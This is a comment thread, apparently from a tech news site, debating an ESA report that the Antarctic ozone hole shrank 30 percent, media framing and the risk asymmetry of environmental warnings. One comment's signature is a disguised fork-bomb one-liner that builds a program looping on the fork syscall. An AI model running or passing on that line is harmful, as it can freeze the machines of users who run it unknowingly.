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Antarctic Ozone Hole Shrinks 30 Percent
polar red sends us news of a story that many outlets have picked up from a European Space Agency press release: the Antarctic ozone hole is 30% smaller than it was during the previous record year. It's still about the size of North America. "Scientists say this year's smaller hole... is due to natural variations in temperature and atmospheric dynamics... and is not indicative of a long-term trend. 'Although the hole is somewhat smaller than usual, we cannot conclude from this that the ozone layer is recovering already,' [one researcher said]."
be embarrassing if the hole was just the result of variations in various decades long solar cycles, after all we haven't been observing it for very long. we may have gone environmentally apeshit for no reason with regards to FHCs.
I don't know how it will happen, but any money says that this will somehow descend into a flame-war about global warming. Not connected, people.
'This writing business. Pencils and what-not. Over-rated if you ask me. Silly stuff. Nothing in it' - Eeyore
Very strange effect. It seems like lots of studies are done. The ones that show drastic environmental collapse are reported very widely. In this case the news seems good and there isn't an alternative study so we get the comment 'Although the hole is somewhat smaller than usual, we cannot conclude from this that the ozone layer is recovering already'. So the studies may be ok scientfically but picking the outliers which show immininent catastrophe and if that is impossible adding comments that the catastrophe might still be present is not.
So bad news is bad news. Good news means we can't conclude anything.
It reminds me of the 'worst headline ever' : 'Small earthquake : not many killed'. If you want to attract attention, I guess you need a bit of drama.
But maybe I'm complacent and we'll all die of avian flu or global warming or a meltdown in the financial markets causing a collapse of our civilisation.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm too embarrassed to take my shirt off at the beach anyway, so it doesn't bother me much.
It seems asymmetric, but then, the situation is. There is an asymmetry in the consequences of being right vs being wrong.
If I hand you a bottle of an unknown chemical and say "go on, drink it, I think it's safe." and somehow says to you "He's a good guy, trust him." and someone else says "He's a liar, don't trust him." you're stuck with what might seem (in Fair and Balanced land) like an even choice. But, you see, the truth is that you have many choices of things to drink, and the cost of not drinking is miniscule, while the cost of drinking could be fatal. So I'm betting you won't drink it. Even though it looks like symmetry.
In this case, a large number of scientists have used words like "exponential" and "tipping point" and "cataclysmic change" in ways that suggest a deeper and more enduring truth is looming than mere lack of funding for the person speaking. But suppose we disregard the fact that considerable actual research has been done and considerable mathematical modeling has been done, and we just assume two strangers have flipped different coins and have made predictions that are quite different and unpredictable by any other means than merely trusting them, as effectively describes the days before Science.
The ordinary analysis one wants to do is to multiply the probability of the person being right times the a quantitative measure of the danger involved. In this case, both are 50% probability, since we think Scientists are not a special breed who have trained for life to predict things. So we just have to come up with a quantitative metric for "Oh, darn. We'll not have an ozone layer, we'll all get cancer, and we'll die (or in the good case we'll all move underground and only be able to come up above ground in space suits)." vs a quantitative metric for "Oh, darn. I'm embarrassed by predicting that the ozone layer was going to fail. It's true that the world will move on and we have lots of new Green technology and people are much more ecologically aware, but gosh, I'm blushing."
Something in me wants to assign a higher badness value to that first one than that second one. And hence, something in me believes more caution is warranted in believing safety than in believing a problem.
I have yet to hear a serious argument for why the world will be injured by behaving as if there is an ozone or climate problem (if there is not), and so I just don't understand why anyone ever makes this argument.
People are constantly making the argument that the people who want to do climate research are somehow money-grubbing. But so what? The people who don't want to do climate research are also money-grubbing. The world runs on money, and we're not going to get that out of the system, so we'd better stop discounting opinions because of it or we'll have no one employed to have an opinion.
Science relies on falsifiability at its core, so of course everything is a theory. That's not a condemnation, that's a statement of the bold thing that science is: a willingness to say what might be disproved and to tolerate the slings and arrows of criticism. These theories are holding up pretty well to scientific criticism, and where we don't, we're learning things. The opposition in this game isn't holding up an alternate theory--they're holding up the idea that Science has nothing to offer. If there's another theory, let's hear it, and if it's also "just a theory", let's hear an argument about why it's safe to bet the future of the human raceon that theory rather than this one.
Kent M Pitman
Philosopher, Technologist, Writer
The Earth is our home, numbnuts.
The prophets of 1970 said:
-We would be out of oil by now
-Our forests would be gone by now(Remember those commercials - the one with the little girl walking with her grandfather that were wearing gas masks and they were in a dry river bed and she says "Grandaddy, what was it like to have trees?")
-The ozone hole will get larger and eventually allow kill 80% of life on the planet
-Mercury poison will kill all the fish (Fictional movie about it)
People like me who have been through this crap before are now cynical. Are there some serious environmental concerns? Sure, but it doesn't match the propaganda. The upcoming breed of kids are taking it for hook, line and sinker.
Along the same lines but different category, Uri Geller has a whole new audience to fool now and the kids today will probably think that he was some sort of magician like that other loser, Chris Angel. Uri Geller was a fake and no one will remember.
if you steal from one source, that is plagiarism, if you steal from many, well, that's just research.
You're either wierd or have low expectations.
You see, 'fixing the earth' is a complex affair, especially if you're not going to cop out and either eliminate humanity or return us to hunter-gatherer technology levels.
To the point that any climatologist should be able to balance a budget rather easily.
You see, I'd also expect them to be able to perform a certain amount of economic analysis and at least try to identify the 'best bang for the buck' methods for reducing pollution. After all, they are talking about messing with global economies. Causing a depression for trying to enforce uneconomical standards wouldn't help their cause in the long run. A prosperous economy has more funding for pollution controls, green research, efficiency improvements, etc...
I don't read AC A human right